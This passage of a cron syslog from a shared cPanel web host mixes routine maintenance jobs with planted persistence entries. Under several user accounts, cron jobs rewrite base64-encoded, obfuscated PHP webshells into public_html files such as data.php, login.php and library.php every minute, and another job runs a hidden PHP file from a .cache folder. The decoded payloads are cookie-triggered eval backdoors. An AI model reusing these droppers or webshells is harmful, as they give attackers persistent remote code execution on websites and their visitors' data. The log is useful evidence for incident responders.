"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:34:02 medusa CROND[5075]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:34:02 medusa CROND[5076]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:34:02 medusa CROND[5077]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:34:02 medusa CROND[5078]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:34:02 medusa CROND[5080]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:34:02 medusa CROND[5081]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:34:02 medusa CROND[5082]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:34:02 medusa CROND[5079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:34:02 medusa CROND[5083]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:34:02 medusa CROND[5087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:34:02 medusa CROND[5092]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:34:02 medusa CROND[5093]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:34:02 medusa CROND[5091]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:35:02 medusa CROND[6717]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:35:02 medusa CROND[6718]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:35:02 medusa CROND[6720]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 12:35:02 medusa CROND[6719]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 12:35:02 medusa CROND[6721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:35:02 medusa CROND[6722]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:35:02 medusa CROND[6723]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:35:02 medusa CROND[6726]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 12:35:02 medusa CROND[6727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:35:02 medusa CROND[6731]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:35:02 medusa CROND[6733]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:35:02 medusa CROND[6735]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:35:02 medusa CROND[6740]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:35:02 medusa CROND[6738]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:35:02 medusa CROND[6739]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:35:02 medusa CROND[6743]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:35:02 medusa CROND[6742]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 12:35:02 medusa CROND[6751]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:35:02 medusa CROND[6752]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:35:02 medusa CROND[6753]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:35:02 medusa CROND[6749]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:35:02 medusa CROND[6736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:35:02 medusa CROND[6734]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:35:02 medusa CROND[6756]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:35:02 medusa CROND[6754]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:36:02 medusa CROND[8398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:36:02 medusa CROND[8403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
